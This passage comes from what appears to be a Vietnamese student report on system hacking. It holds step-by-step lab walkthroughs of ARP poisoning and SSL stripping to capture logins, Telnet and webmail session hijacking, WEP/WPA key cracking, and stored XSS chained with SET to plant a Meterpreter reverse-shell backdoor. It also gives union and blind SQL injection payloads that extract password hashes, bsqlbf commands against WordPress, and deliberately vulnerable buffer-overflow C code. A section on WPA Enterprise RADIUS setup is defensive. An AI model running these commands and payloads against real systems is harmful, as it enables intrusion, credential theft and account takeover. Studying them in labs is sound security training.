o Bước 2: Thực hiện ARP Poisoning attack. Máy Victim là Window XP đang có IP 192.168.1.6 . Ta nhập vào câu lệnh “ettercap -T -q –M arp:remote –P remote_browser –i eth0 /192.168.1.6/ // ”

o Bước 3: máy Victim thực hiện duyệt web. Ví dụ victim sử dụng Gmail và xuất hiện cảnh báo lỗi về certificate. Tại máy attacker xuất hiện các dòng log cho thấy victim đang kết nối vào mail.google.com .Khi Victim cố gắng tiếp tục đăng nhập thì sẽ bị mất username và password

6.4 SSL StripSSL Strip là công cụ tương tác ở quá trình chuyển từ http sang https của các ứng

dụng web. SSL Strip là một trong các công cụ hữu hiệu để capture được username và password login của các ứng dụng web.

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 40

Công cụ SSL Strip đã được install mặc định trong hệ điều hành Backtrack 5. Đầu tiên ta xác định vị trí file thực thi và cách thức sử dụng giao diện dòng lệnh của Backtrack 5

Sơ đồ : Victim login vào các web application và bị sniffer password

Các bước thực hiện :

o #locate sslstrip

=>câu lệnh xác định các file liên quan đến chương trình ssl strip. Ta sẽ xác định được đường dẫn thực thi là /pentest/web/sslstrip

o #cd /pentest/web/sslstrip/ o #ls -l

-rw-r--r-- 1 root root 4066 2011-05-06 12:22 sslstrip.py

o #python ./sslstrip.py -h

=>câu lệnh ở trên để ta xem cách thức sử dụng

o #python ./sslstrip.py -a

=> khởi động chương trình sslstrip và ghi log các kết nối thông qua biến -a

=> mặc định chương trình sslstrip sẽ hoạt động ở port 10000

o #netstat -ltn

=> xác định các port TCP đang listen trong máy. Ta kiếm vị trí port 10000

Các cấu hình chuẩn bị tại máy Backtrack 5 ( attacker )

o #echo 1 > /proc/sys/net/ipv4/ip_forward

=> kích hoạt khả năng định tuyến của PC

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 41

o #iptables -t nat -A PREROUTING -p TCP --destination-port 80 -j REDIRECT --toport 10000

=>cấu hình firewall nhận traffic ở port 80 thì sẽ redirect traffic vào port 10000. Port 10000 thì tương ứng với chương trình ssl strip

Start sslstrip listen ở port 10000 và ghi log tất cả các kết nối

#cd /pentest/web/ssltrip

#python ./sslstrip.py –a

Mở một cửa sổ terminal khác thực hiện arp poisoning attacker để redirect tất cả các traffic ở máy attacker

#ettercap -T -q -M arp:remote -i eth0 /192.168.1.X/ //

Tại máy victim thực hiện đăng nhập vào các ứng dụng web. Sau đó attacker tìm kiếm các thông tin trong file sslstrip.log. Có thể sử dụng các từ khóa như Email= , Passwd= … để tìm kiếm các thông tin nhạy cảm

#cd /pentest/web/sslstrip

#cat sslstrip.log > /root/Desktop/password.txt

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 42

Chương 7 : Session Hijacking

7.1 Hunt Session HijackingUser sử dụng phương thức telnet điều khiển router Cisco. Attacker sử dụng công

cụ Hunt để cướp session telnet.

Sơ đồ:

Các bước thực hiện :

o Bước 1: Cấu hình telnet tại router cisco, victim thực hiện telnet vào thiết bị

R1(config)#interface fa 0/0

R1(config-if)#ip address 192.168.100.254 255.255.255.0

R1(config-if)#no shutdown

R1(config-if)#exit

R1(config)#username cisco privilege level 15 secret cisco

R1(config)#line vty 0 4

R1(config-line)#login local

R1(config-line)#exit

o Bước 2: thực hiện cài đặt chương trình hunto Bước 3: ở máy victim thực hiện kết nối telnet đến router. o Bước 4: sử dụng chương trình hunt, nhập vào “ u ”, nhập vào IP bắt đầu và

IP kết thúc để kiểm tra các IP trong mạngo Bước 5: Nhập vào “ l ” để kiểm tra các kết nối. Sau đó chọn số kết nối để

thực hiện hijacking ( ở trên màn hình ta đang có kết nối thứ 0 ) Victim nhập

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 43

vào các thông số trong quá trình cấu hình thì attacker cũng thấy được các thông số đó

7.2 Cookie Hijacking Yahoo MailVictim sử dụng Yahoo mail, attacker ăn cắp được cookie và sử dụng cookie vào

trình duyệt web thì attacker có được phiên đăng nhập của yahoo mail

Sơ đồ :

Các bước thực hiện :

Bước 1: Victim, IP 192.168.1.6, đăng nhập vào mail yahoo

Bước 2: Attacker thực hiện các dạng tấn công và thu thập được cookie

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 44

Bước 3: Attacker thực hiện apply Cookie Y và T vào trình duyệt web

Bước 4: Attacker vào trình duyệt web nhập vào URL “ mail.yahoo.com “ thì sẽ login vào được mail của victim

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 45

7.3 Cookie Hijacking HotmailVictim sử dụng Hotmail mail, attacker ăn cắp được cookie và sử dụng cookie vào

trình duyệt web thì attacker có được phiên đăng nhập của yahoo mail

Sơ đồ :

Các bước thực hiện:

Bước 1: Victim IP 192.168.5.105 đăng nhập vào trang mail.live.com

Bước 2: Attacker thực hiện sniffer và sử dụng wireshark capture được cookie của hotmail.

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 46

Bước 3: Attacker thực hiện apply cookie RPSTAuth vào trình duyệt web

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 47

Chương 8 : Wireless

8.1 Crack WEP KeyTa kiểm tra tính bảo mật của wireless access point cấu hình theo chuẩn WEP.

Sơ đồ :

Các bước thực hiện :

o Phần cứng: hai card wireless broadcom chipset bcm43xx và card linksys usb wireless card chipset rt73 .

o Hệ điều hành Backtrack 3 live usb hoặc 1 hệ điều hành Linux đã được install chương trình aircrack-ng

8.1.1 Bước chuẩn bịo Cắm wireless usb vào laptop . Boot vào Back Track 3 từ USBo Kiểm tra xem hệ điều hành đã nhận được card wirelss. Ta dùng lệnh lspci

và lsusb để kiểm tra Kiểm tra xem hệ điều hành nhận ra card wireless của mình bằng tên gì.

Cách làm như sau, ta dùng lệnh ifconfig hoặc iwconfig để xem hệ điều hành nhận diện card mạng của mình như thế nào. Đối với card broadcom thì nó được nhận là eth0hoặc eth1. Đối với usb wireless thì nó sẽ nhận là rausb0.

o Cấu hình để cho card wireless của mình có thể capture và inject. Mình sẽ dùng card broadcom để inject và card linksys để capture. Đối với card linksys usb ta cần phải làm một số bước sau để nó có thể

load được driver của nó lên

ifconfig rausb0 down

modprobe -r rt73

modprobe rt73

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 48

8.1.2 Ta dùng card usb để captureTa thực hiện quá trình capture như sau

airmon-ng stop rausb0

airmon-ng start rausb0

airodump-ng rausb0

Lúc này ta đã có được MAC address của Access Point (AP), channel mà nó hoạt động, dạng encryption mà nó đang sử dụngairodumg-ng -c [channel] -bssid [Mac_ap] -w [outputfile] rausb0

Câu lệnh trên nhằm cấu hình card usb capture thông tin trên đúng Access point mà ta muốn test nó. Ok ta cứ để cho nó capture. Ta mở lệnh một cửa số konsole khác để tiếp tục quá trình.

8.1.3 Dùng card broadcom để injectĐối với card broadcom thì ta cần kiểm tra xem nó đã inject được hay chưa. Giả sử

như AP đang hoạt động ở channel 3, SSID của nó là P.101

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 49

iwconfig eth0

ifconfig eth0 up

iwconfig eth0 mode monitor channel 6

aireplay-ng -9 -e XXX -a [Mac_ap] eth0

Injection working!

Ta kiểm tra xem card wireless của mình đã inject được hay chưa. Nếu nó báo là Injection working thì ta đã làm đúng rồi.

Lúc này ta bắt đầu quá trình association với AP bằng cách sử dụng kiểu attack là fake authentication

aireplay-ng -1 0 -e P.101 -a [Mac_ap] -h [Mac_broadcom_card] eth0

Thực hiện quá trình inject ở dạng gói tin ARP request replay mode

aireplay -3 -x 300 -b [Mac-ap] -h [Mac_broadcom_card] eth0

Ta cứ đợi cho đến khi nào ta capture đủ số lượng packet cần thiết.Khoảng 40000 đến 80000 packet. Lúc này ta thử crack xem ta có key hay chưa bằng lệnh

aircrack-ng -z -b [AP_mac] [out_put_file_name].cap

Ta đã tìm thấy được wep key là 1234567890abc.Kết luận: Cấu hình Access Point mã hóa bằng WEP key là một cấu hình không bảo mật. Một attacker có thể dễ dàng crack được nó trong khoảng thời gian khoảng 10 phút.

8.2 SỬ DỤNG AIRCRACK-NG CRACK WPA KEYTa kiểm tra tính bảo mật của wireless access point cấu hình theo chuẩn WPA.

Mô hình :

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 50

Các bước thực hiện:

Cấu hình chuyển card wireless sang monitor mode. Tùy theo mỗi loại card mà ta sẽ cấu hình khác nhau. Ta sử dụng card Intell 2200 chuẩn bg

Tiếp tục ta dùng công cụ airodump-ng được tích hợp sẵn để thu thập thông tin bằng lệnh airodump-ng eth1. Ta thu được một số thông tin sau

Ta sẽ thử crack Access Point có SSID là linksys_cisco, có Mac address là 00:1E:2A:E1:0F:C6, hoạt động ở channel 6. Tiếp tục ta cấu hình câu lệnh airodump-ng để capture thông tin bằng lệnh airodump-ng –c 6 –b [Mac_AP] –w /home/user/Desktop/wpa eth1

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 51

Để có được 4 way handshake của Access Point thì cấu hình công cụ aircrack gửi ra các gói tin Deauthentication để yêu cầu client gửi lại thông tin xác thực và attacker thực hiện quá trình capture 4 way handshake khi client gửi đến Access Point. Câu lệnh aireplay-ng -0 10 –a [MAC_AP] -c [Mac_Victim] eth1

Cuối cùng ta thử crack bằng từ điển. Nếu như ta cấu hình một password tốt thì việc crack này không dễ thực hiện thành công. Câu lệnh thực hiện aircrack-ng /home/user/Deskop/wpa-01.cap –w /root/dictionary.lst

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 52

Ta chọn SSID mà ta muốn crack. Ở đây ta chọn là số 1 là linksys_cisco. Chương trình bắt đầu chạy test các password, nếu như trong dictionary không có password đúng thì quá trình này sẽ không thành công.

8.3 WPA EnterpriseNếu như ta yêu cầu bảo mật cho mạng wireless ở mức độ cao thì giải pháp dùng

phương pháp mã hóa WPA Enterprise hoặc WPA2 Enterprise là một giải pháp. Sau khi thực hiện quá trình đăng nhập một cách bảo mật thông qua username và password thì mỗi một user sẽ có một key của riêng mình. Và ta loại bỏ trường hợp phải dùng chung một pre-shared key.

Để triển khai WPA Enterprise ta có ba giải pháp như sau:

Mua một Access Point có tích hợp RADIUS Server bên trong đó.

Sử dụng những dịch vụ được host bởi hãng thứ ba. Lúc này ta phải đăng kí dịch vụ, cấu hình Acccess Point, cấu hình máy tính. RADIUS Server được cấu hình được host bởi hãng thứ ba. Ta nhận được giao diện Web để cấu hình thêm bớt user hoặc Access Point.

Ta cấu hình RADIUS Server cho riêng mình. Để làm được như vậy ta cần một RADIUS/802.1X software server. Và nó có hỗ trợ các protocols như Extensible Authentication Protocol… Server này sẽđiều khiển quá trình chứng thực của các user đang có nhu cầu connect vào mạng wireless. Trong server có cơ sở dữ liệu là username và password của các người dùng. Khi cấu hình Access Point xác định địa chỉ của RADIUS Server. Khi một ai đó kết nối đến Access Point họ phải nhập username và password và được kiểm tra tại server. Thêm vào đó, các máy tính client phải có certificate đã được cài đặt vào và được kiểm tra trong danh sách các certificate trong server.Ta sẽ thực hiện bài Lab cấu hình 802.1X RADIUS Server theo mô hình như sau:

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 53

Các bước thực hiện :

o Cài đặt phần mềm 802.1X Radius Server. Ta có thể dùng phần mềm của hãng thứ ba ví dụ như Elektron, Evolynx, ClearBox hoặc ta cũng có thểdùng phần mềm trên nền tảng open source FreeRadius Server. Ở đây ta sẽ làm bài lab dùng phần mềm Elektron.

o Cài đặt phần mềm lên thông qua một số bước sau: Cài đặt digital certificate: Nếu như ta không có mua Certificate

Authority ta có thể dùng wizard của phần mềm để tạo ra selfsigned certificate. Sau đó add certificate này vào Radius Server. Quá trình add certificate này không có được làm tựđộng. Bước kế tiếp ta export certificate này thành một file. Sau đó cài đặt file này vào các máy client có nhu cầu connect vào wireless network.

Xác định Access Point thành RADIUS client. Trong quá trình cấu hình trên Access Point xác định địa chỉ của Radius Server và Shared Secret key.

Trên Radius server thiết lập authentication domain để Radius xác định xem nó sẽ dùng cơ sở dữ liệu. Trong một wireless network nhỏ thì ta có thể dùng default domain đã được tạo trong software.

Thêm vào user vào database. o Cấu hình Wireless Router Access Point dùng phương pháp mã hóa là WPA

Enterprise. Tiếp tục xác định địa chỉ IP của Radius Server và Shared Secret key.

o Cuối cùng là cấu hình tại các máy client. Nếu như ta dùng self-signed certificate thì ta phải install các certificate này trên các máy client. Tiếp tục cấu hình wireless card dùng phương pháp mã hóa là WPA Enterprise tương ứng với Access Point.

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 54

8.3.1 Cài đặt và cấu hình Elektron 802.1X RADIUS Server Đầu tiên ta thực hiện quá trình gán IP trên Server theo sơ đồ như bên trên. Radius

Server có IP là 192.168.100.1/24 và Access Point có IP là 192.168.100.254/24 và nó cũng là Default Gateway. Sau đó kiểm tra kết nối từ Radius Server đến Access Point

o Ta thực hiện quá trình cài đặt chương trình.Ta click Nexto Ta đặt username, mặc định chương trình chọn computer name làm

username. o Do ta đang sử dụng bảng Trial nên ở đây ta tiếp tục click Next. o Ta gán một password để bảo vệ quá trình trao đổi dữ liệu giữa wireless

Access Point và Elektrono Ở đây ta không có dùng CA của bên thứ ba, tuy nhiên chương trình hỗ trợ

việc tạo ra certificate. Ta chọn vào mục “ Create a new certificate hierarchy”

o Tiếp tục ta gán một FQDN cho server. Ở đây ta gán là server.athena.com và gán các thông số cho certificate authority.

o Đến đây ta đã thực hiện xong quá trình cài đặt. Tiếp tục ta sẽ chuyển sang phần cấu hình trên server. Giao diện màn hình điều khiển

o Ở đây ta có thể kiểm tra xem các protocol thuộc giao thức PEAP mà nó hỗ trợ

o Ta vào mục Server Certificate, để export certificate. Ví dụ bên dưới ta chọn xuất ra ở dạng là Der File và save ở Desktop.

o Ta tạo ra một Authentication Domain. Để dễ dàng ta chọn Authenticate o Using bằng Elektron Accounts. Nghĩa là dùng username password được tạo

ra bằng software để chứng thực. o Ta tạo ra một user account như hình bên dưới.o Trên Server, ta thực hiện quá trình import certificate vào server trong mục

“Trust Certification”.o Ta import certificate vào vị trí là Trusted Root Certificate Authority.o Click Yes để hoàn thành quá trình Import Certificate vào 801.X Radius

Server.o Tiếp tục ta xác định các RADIUS Client và Shared Key tương ứng cho

từng Access Point. Ta tạo ra client có IP là 192.168.100.254 Shared Key là 123abc!!!

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 55

8.3.2 Cấu hình Wireless Access Point dùng WPA EnterpriseTa cấu hình Access Point dùng Security Mode là WPA Enterprise, thuật toán

WPA ta chọn AES. Ta để port mặc định kết nối đến Radius Server là 1812.

Cấu hình trên máy Client:

o Trên các PC Client muốn kết nối đến Wireless Access Point, đầu tiên ta phải thực hiện quá trình import certificate vào trong máy tính.

o Certificate được manual chép đến máy client. o Click Yes để hoàn thành quá trình Import certificate. Ta thực hiện quá trình

kết nối đến Wireless Access Point. 802.1X Radius Server sẽ trả vềcho client màn hình yêu cầu đăng nhập username và password như bên dưới.

o Ta nhập vào username và password tương ứng mà ta đã tạo trên trên server.Window 7 đưa ra một màn hình cảnh báo. Và chọn Connect để hoàn thành quá trình kết nối

o Đến đây ta đã hoàn thành và ta đã kết nối đến Wireless Access Point có ESSID là linksys như hình bên dưới.

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 56

Chương 9 : Web Application Attack

9.1 XSS StoredMáy ảo Ubuntu cài đặt trang Web DVWA, đang bị lỗi XSS Store

Máy XP cài đặt JRE phiên bản jre-6u13-windows-i586

Máy Backtrack 5, sử dụng Metasploit và SET

Sơ đồ như sau:

Kiểm tra lỗi XSS trên trang Web

o Máy Ubuntu đang sử dụng IP 192.168.1.100, ta sử dụng Firefox kết nối vào.Sử dụng username: admin và password: passwordđể login. Cấu hình DVWA Security mức độ Low

o Tiếp tục ta kiểm tra lỗi XSS trên trang Web, nhập vào <script>alert("XSS")</script> trên trình duyệt và trình duyệt web sẽ thực thi scripts.

o Ta có thể sử dụng 1 script khác để steal cookie dạng đơn giản như sau

<script>document.write(document.cookie)</script>

o Trong phần kế tiếp ta sẽ sử dụng script mở một trang web mới <script>window.location = http://IP_Backtrack5</script>. Tuy nhiên ta sẽ không nhập vào được do thẻ textarea qui định chiều dài là 50 ký tự. Để giải quyết việc này ta sử dụng Add on Firebug và chỉnh sửa lại giá trị maxlength

o Khi script thực thi thì trình duyệt web sẽ được redirect đến 1 trang web khác.

Tại máy Backtrack 5 sử dụng công cụ SET

o SET ( Social Engineering Toolkit ) là công cụ giúp ta thực hiện các dạng tấn công phishing. Ta khởi động chương trình

o Ta chọn số 2 để thực hiện dạng tấn công “Website Attack Vectors”

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 57

o Tiếp tục ta chọn số 1 để thực hiện Java Applet Attack Methodo Ta chọn số 1 để sử dụng Template có sẵn trong chương trình và phần cấu

hình NAT port forwarding ta để “no” o Nhập vào IP của máy Backtrack 5: 192.168.1.200o Chọn sử dụng Web Template. Ở đây ta có thể chọn số 1 “Java required”o Chọn payload số 2 là window meterpreter reverse_tcp o Chọn dạng msfencode số 2 và cấu hình port listen là 8989 o Lúc này chương trình SET sẽ gọi chương trình metasploit

Máy Victim XP kết nối

o Victim duyệt web đến trang bị lỗi XSS Stored, sẽ bị thực thi script trên trình duyệt web và mở đến trang web giả dạng trên máy backtrack 5 của attacker

o Victim click RUN sẽ thực thi backdoor. Ta qua máy Backtrack 5 để kiểm tra kết nối.

9.2 SQL InjectionTa thử nhập vào số 1 trong form submit, lúc này đường link sẽ là

“http://192.168.1.5/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” . Ta chú ý số “ ?id=1 “ , tiếp tục ta có thể truy vấn với số id là số 2 , 3 ,4 thì trang web trả ra cho ta một kết quả đúng.

Tiếp tục ta thử truy vấn với một số id là một số không có, ví dụ ta nhập vào số1’ thì tại trình duyệt web ta nhận được 1 thông số lỗi của MySQL. Như vậy tại đường link này ta có thể khai thác lỗi SQL Injection

Tiếp tục ta xác định số column trong database bằng cách truy vấn các câu lệnh sử dụng câu lệnh “ order by ”. Ví dụ ta nhập vào “ 1 order by – “ trang web hiển thị bình thường

Tiếp tục ta thử “ 1 order by 2 -- ” thì trang web cũng trả về kết quả bình thường

Tiếp tục ta thử “ 1 order by 3 -- ” thì website trả về một kết quả bị lỗi. Theo như hình báo lỗi bên dưới nghĩa là database có số lượng 2 column

Tiếp tục ta kiểm tra phương thức union có thể hoạt động được hay không bằng câu lệnh query “1 union all select 1,2 --”. Ở kết quả hiển thị bên dưới thì ta có thể tiếp tục query ở số 1 và số 2.

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 58

Xác định version của mysql server bằng câu lệnh “ 1 union all select 1,@@version -- “ Ta xác định được version của database là 5.1.49-1ubuntu8.1

Xác định username của database và tên của database đang hoạt động. Sửdụng câu lệnh “ 1 union all select user(),database() -- “ . Ta xác định được tên database có tên là dvwa, username database là root@localhost

Xác định các table có trong database bằng câu lệnh “ 1 union all select table_name,2 from information_schema.tables -- ” Ta xác định được 2 table là user và guestbook

Xác định các column có trong table “ users “ . Đầu tiên ta chuyển mã hexa cho từ users tương ứng là 7573657273. Ta thực hiện truy vấn sql “ 1 union all select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 -- ”

Cuối cùng ta sẽ query các username và hash password trong database “ 1 union all select concat_ws(0x7c,user,password),2 from dvwa.users --“

9.3 Blind SQL Injectiono Bước 1: kiểm tra lỗi blind sql injection. Các web site bị lỗi này thì trong

quá trình ta thử các câu truy vấn sql sai thì sẽ các báo lỗi sẽ không xuất hiện trên màn hình. Ta thử nhập vào giá trị ID bằng 1 thì web site trả ra cho ta giá trị của admin Ta thử nhập vào “ 1 and 1=1 ”, đây là 1 câu query đúng thì web site vẫn

trả ra cho ta giá trị của username admin. Hoặc ta có thể sử dụng câu truy vấn “1 /**/and/**/1=1 ”

Ta thử 1 câu query sai, ví dụ như “ 1 and 1=2” thì khi nhập vào web site không trảra cho ta bất kz giá trị nào hoặc ta có thể sử dụng “ 1/**/and/**/1=2 ”

Như vậy trang web này có thể bị lỗi blind sql injectiono Bước 2 kiểm tra version của Mysql server. Ta kiểm tra version của mysql

server bằng câu lệnh truy vấn “1 and substring(@@version,1,1)=5 ” thìwebsite trả về cho ta một kết quả đúng. Tiếp tục ta query “1 and substring(@@version,1,1)=4 ” thì website trả

về cho ta một kết quả sai và không hiện ra thông tin trên màn hình Như vậy mysql đang sử dụng version 5

o Bước 3: Tiếp tục ta sẽ đoán xem các table name sẽ có thể. Giả sử ta thử chọn 1 số tên table dễ đoán để query ví dụ như admin, users, … Câu truy

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 59

vấn sẽ là “1 and (select 1 from admin limit 0,1)=1 -- ”. Nhưng do table admin không có trong database nên website trả về cho ta trang web trống Ta thử thay đổi giá trị users với câu query tương tự như trên “1 and

(select 1 from admin limit 0,1)=1 --” thì trang web cho ta kết quả đúng Như vậy trong database DVWA có table tên là users

o Bước 4: ta sẽ đoán tên các column có trong tables users bằng một số từ như user_id,users,password, passwd … Câu lệnh sql ta sẽ query là “ 1 and (select substring(concat(1,password),1,1) from users limit 0,1)=1 -- ” Trong tables users có column là password Ta thử query một số tên của một số column khác. Ví dụ như tên passwd

với câu query là “1 and (select substring(concat(1,passwd),1,1) from users limit 0,1)=1 --” thì website trả về một trang web lúc bị lỗi

Ta query xem trong table users có cột users bằng câu query “1 and (select substring(concat(1,user),1,1) from users limit 0,1)=1 --” thì DVWA trả về một trang web đúngColumn user có trong table users

o Bước 5: ta sẽ xác định từng ký tự trong 2 column user,password từ table users. Đây là một quá trình làm rất lâu. Ta query xem mã acscii của ký tự đầu tiên có lớn hơn số 80 hay không ? “1 and ascii(substring((select concat(user,0x3a,password) from users limit 0,1),1,1))>80 --“trang web trả vềcho ta một kết quả query đúng. Như vậy k{ tự đầu tiên của column user có giá trị lớn hơn 80. Tiếp tục ta thử số 100 với câu query là “1 and ascii(substring((select concat(user,0x3a,password) from users limit 0,1),1,1))>100 --” thì trang web trả về cho ta một kết quả bị lỗi . Ta thử giá trị 96 với câu query “1 and ascii(substring((select

concat(user,0x3a,password) from users limit 0,1),1,1))>96 --” thì trang DVWA vẫn trả ra kết quả đúng.

Ta thử giá trị 97 với câu query “ 1 and ascii(substring((selectconcat(user,0x3a,password) from users limit 0,1),1,1))>97 --” thì trang DWWA trả ra kết quả sai

Ta thử query với toán tử “ 1 and ascii(substring((select concat(user,0x3a,password) from users limit 0,1),1,1))=97 --” thì ra một giá trị đúng.

Như vậy k{ tự đầu tiên có mã ascii là 97. Ta chuyển đổi ascii 97 thì tương ứng với chữ a. Tiếp tục ta sẽ tìm kiếm chữ thứ hai, ta sử dụng câu query “1 and ascii(substring((select concat(user,0x3a,password) from users limit 0,1),2,1))>99 --” thì trang web trả về giá trị đúng.Ta thử query với giá trị lớn hơn 100 với câu query “1 and ascii(substring((select concat(user,0x3a,password) from users limit 0,1),2,1))>100 --” thì DVWA trả về giá trị sai

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 60

Như vậy chữ thứ hai có giá trị trong mã ascii là 100. Ta thử query với toán tử bằng với giá trị 100. Trang web trả về cho ta giá trị đúng. Chữ thứ hai có giá trị ascii là 100 tương ứng với chữ d.

o Bước 6: để query được hết toàn bộ thông tin login bằng blind sql injection thực sự sẽ mất rất nhiều thời gian với phương pháp manually. Ta có thể sử dụng các công cụ tấn công blind sql để giảm thời gian.

9.4 Automatic Blind SQL Injectiono Bước 1: Trong phiên bản Wordpress 3.1.3 bị lỗi Blind SQL Injection. Giả

sử Admin đã tạo ra một user có quyền Athena Test. User này có quyền Editor

o Bước 2: user này đăng nhập vào trang quản trị wordpress. Ở đường link dạng category “http://192.168.1.100/wordpress/wpadmin/edittags.php?taxonomy=link_category&orderby=name&order=asc “ là vị trí có thể tấn công Blind SQL Injection

o Bước 3: Kiểm tra vị trí bị lỗi Blind SQL Injection. Ta thay đổi giá trị orderby=10 thì trang web vẫn hoạt động bình thường. Khi thử giá trị orderby=11 thì trang web xuất hiện thêm dòng “ No item found “

o Bước 4: Sử dụng công cụ bsqlbf để thực hiện tấn công. Đầu tiên ta kiểm tra câu lệnh của công cụ.

o Bước 5: do user “ Athena Test ” là một user đã được đăng nhập. Ta copy giá trị cookie của user này.

o Bước 6: Xác định version của Mysql server bằng câu lệnh bên dưới.

D:\bsqlbf>bsqlbf-v2-7.pl -url "http://192.168.1.100/wordpress/wpadmin/edittags.php?taxonomy=link_category&orderby=10" -blind orderby -sql "select @@version" -match "Blogroll" -type 2 -database 1 –cookie "wordpress_26033f6e23cd6a3c2b7b304d151778a3=Athena+Test%7C1337529257%7Ca1ed46cc2ed3e3209c48e79f59b62316"

o Bước 7: Xác định database name của wordpress

D:\bsqlbf>bsqlbf-v2-7.pl -url "http://192.168.1.100/wordpress/wp-admin/edittags.php?taxonomy=link_category&orderby=10" -blind orderby -sql "select database()"-match "Blogroll" -type 2 -database 1 --cookie "wordpress_26033f6e23cd6a3c2b7b304d151778a3=Athena+Test%7C1337529257%7Ca1ed46cc2ed3e3209c48e79f59b62316"

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 61

o Bước 8: Xác định table name

D:\bsqlbf>bsqlbf-v2-7.pl -url "http://192.168.1.100/wordpress/wp- "select table_name from information_schema.columns where column_name like '%user_pass%' limit 1" -match "Blogroll" -type 2 -database 1 –cookie "wordpress_26033f6e23cd6a3c2b7b304d151778a3=Athena+Test%7C1337529257%7Ca1ed46cc2ed3e3209c48e79f59b62316"

Xác định column name trong wp_users

D:\bsqlbf>bsqlbf-v2-7.pl -url "http://192.168.1.100/wordpress/wp-admin/edittags.php?taxonomy=link_category&orderby=10" -blind orderby -sql "select column_name from information_schema.columns where table_name like 'wp_users' limit 1 offset 1" -match "Blogroll" -type 2 -database 1 --cookie"wordpress_26033f6e23cd6a3c2b7b304d151778a3=Athena+Test%7C1337529257%7Ca1ed46cc2ed3e3209c48e79f59b62316”

Xác định column password trong wp_user table

D:\bsqlbf>bsqlbf-v2-7.pl -url "http://192.168.1.100/wordpress/wp-admin/edittags.php?taxonomy=link_category&orderby=10" -blind orderby -sql "select column_name from information_schema.columns where table_name like 'wp_users' and column_name like '%pass%'" -match "Blogroll" -type 2 -database 1 --cookie "wordpress_26033f 6e23cd6a3c2b7b304d151778a3=Athena+Test%7C1337529257%7Ca1ed46cc2ed3e3209c48e79f59b62316"

Extract username và password của user đầu tiên từ column user_login, user_pass từ wp_users

D:\bsqlbf>bsqlbf-v2-7.pl -url "http://192.168.1.100/wordpress/wp-admin/edittags.php?taxonomy=link_category&orderby=10" -blind orderby -sql "select concat(user_login,'//',user_pass) from wp_users limit 1" -match "Blogroll" -type 2 -database 1 –cookie "wordpress_26033f6e23cd6a3c2b7b304d151778a3=Athena+Test%7C1337529257%7Ca1ed46cc2ed3e3209c48e79f59b62316"

Extract username và password của user thứ 2 từ column user_login, user_pass từ wp_users

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 62

D:\bsqlbf>bsqlbf-v2-7.pl -url "http://192.168.1.100/wordpress/wp-admin/edittags.php?taxonomy=link_category&orderby=10" -blind orderby -sql "select concat_ws(0x7c,user_login,user_pass) from wp_users limit 1,2" -match "Blogroll" -type 2 -database 1 –cookie "wordpress_26033f6e23cd6a3c2b7b304d151778a3=Athena+Test%7C1337529257%7Ca1ed46cc2ed3e3209c48e79f59b62316"

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 63

Chương 10 : Buffer Overflow

10.1 Single Buffer Overflow LabTa sẽ tạo ra 1 đoạn code bị lỗi buffer overflow. Sau đó truyền vào với dữ liệu vào

trong biến nhiều hơn mức ta đã khai báo dẫn đến chương trình bị lỗi buffer overflow và ta có thể thực thi được đoạn các dòng lệnh.

Quá trình thực hiện tại một PC linux.

Các bước thực hiện:

o Source code chương trình và lưu lại thành file có tên là

dangerous_system_command.c

#include <stdio.h>

main() {

char *name;

char *dangerours_system_command;

name = (char *) malloc(10);

dangerours_system_command = (char *)malloc(128);

printf("Address of name is %d\n", name);

printf("Address of command is %d\n", dangerours_system_command);

sprintf(dangerours_system_command, "echo %s", "Hello world!");

printf("What's your name?");

gets(name);

system(dangerours_system_command);

}

o Biên dịch chương trình

#gcc ./dangerous_system_command.c -o dangerous_system_command

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 64

10.1.1 Thực thi chương trìnhBiến “name” được tính tổng cộng là 16 byte, bao gồm 10 byte do ta gán, cộng

thêm 6 byte của hệ thống.

Khi ta nạp vào hệ thống các ký tự có số lượng lớn hơn 16 byte thì ta có thểthực thi được các lệnh ở sau 16 byte đó.

